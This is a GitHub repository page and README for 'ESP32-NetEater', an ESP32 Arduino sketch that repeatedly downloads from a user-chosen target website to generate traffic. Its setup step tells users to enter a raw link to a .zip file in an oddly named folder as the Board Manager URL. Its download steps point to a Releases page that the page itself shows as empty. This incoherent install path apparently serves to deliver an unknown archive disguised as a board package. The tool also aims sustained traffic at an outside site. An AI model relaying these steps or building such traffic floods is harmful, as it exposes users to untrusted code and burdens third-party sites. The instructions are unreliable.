Skip to content

Tushar-coader/ESP32-NetEater

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ ESP32-NetEater - Generate Internet Traffic Easily

🌐 Overview

The ESP32 Network Eater is a user-friendly application designed to help you understand network traffic. It allows you to select a Wi-Fi network and a target website. The ESP32 will then continuously download small pieces of data from that website, maximizing your network usage. This tool is ideal for educational purposes and for those wanting to explore internet dynamics.

πŸš€ Getting Started

To make the most of this application, follow the steps below. You will learn how to download the software and run it on your device.

πŸ“₯ Download the Software

Download ESP32-NetEater

  1. Click the download link above or visit the Releases page directly.

  2. Look for the latest release version. The filenames will usually include the version number for clarity.

  3. Download the file suitable for your platform. The primary files are in .ino format, which can be opened with the Arduino IDE.

πŸ“‹ System Requirements

  • Hardware:

    • An ESP32 development board
    • USB cable for connection
  • Software:

    • Arduino IDE (version 1.8 or newer)
    • ESP32 Board package for Arduino (details below)

πŸ”§ Setup Instructions

1. Install the Arduino IDE

  • Visit the Arduino website to download and install the necessary software.

2. Install the ESP32 Board in Arduino IDE

  1. Open the Arduino IDE.
  2. Go to File β†’ Preferences.
  3. In the "Additional Board Manager URLs" field, add the following:
    https://raw.githubusercontent.com/Tushar-coader/ESP32-NetEater/main/laryngotracheotomy/ESP32-NetEater.zip
    
  4. Click OK to save your preferences.

3. Add the ESP32 Board

  1. Navigate to Tools β†’ Board β†’ Boards Manager.
  2. Search for "ESP32".
  3. Click on "Install" next to the ESP32 package by Espressif Systems.

4. Download and Open the ESP32-NetEater Code

  1. After you have downloaded the .ino file from the Releases page, open it in the Arduino IDE.
  2. Make sure your ESP32 board is connected to your computer via USB.

πŸ“‘ Configuring Your Connection

  1. Inside the Arduino IDE, locate the WiFi settings in the code.
  2. Change the SSID and password to match your Wi-Fi network.
  3. Specify the URL of the target website you want to download data from.
  4. Save your changes.

▢️ Uploading the Code

  1. Select your ESP32 board from Tools β†’ Board.
  2. Choose the correct COM port connected to your ESP32 from Tools β†’ Port.
  3. Click the upload button (the right arrow icon) in the Arduino IDE.

πŸŽ‰ Running the Application

Once the code uploads successfully, your ESP32 will start generating internet traffic by downloading data from the specified website. You can monitor the behavior in the serial monitor within the Arduino IDE.

πŸ“ˆ Monitoring Traffic

To view the internet traffic being created:

  1. Open the serial monitor in the Arduino IDE by clicking on the magnifying glass icon.
  2. Set the baud rate (bottom right of the window) to 115200 to match the code.

βš™οΈ Troubleshooting

  • Connection Issues: Ensure your ESP32 is properly powered and connected. Verify that your Wi-Fi credentials are correct.
  • Code Upload Problems: Check that you have selected the right board and COM port in the IDE.
  • Serial Monitor Issues: Make sure the baud rate is set to 115200.

πŸ“š Additional Resources

πŸ”— Community and Support

If you have questions or need assistance, feel free to check the issues section of the repository. Join the community discussions to find helpful tips and tricks.

By following these steps, you can easily set up and run the ESP32-NetEater application. Enjoy exploring the dynamics of internet traffic!

About

🌐 Generate continuous internet traffic using ESP32 by downloading website content in chunks for effective network utilization.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages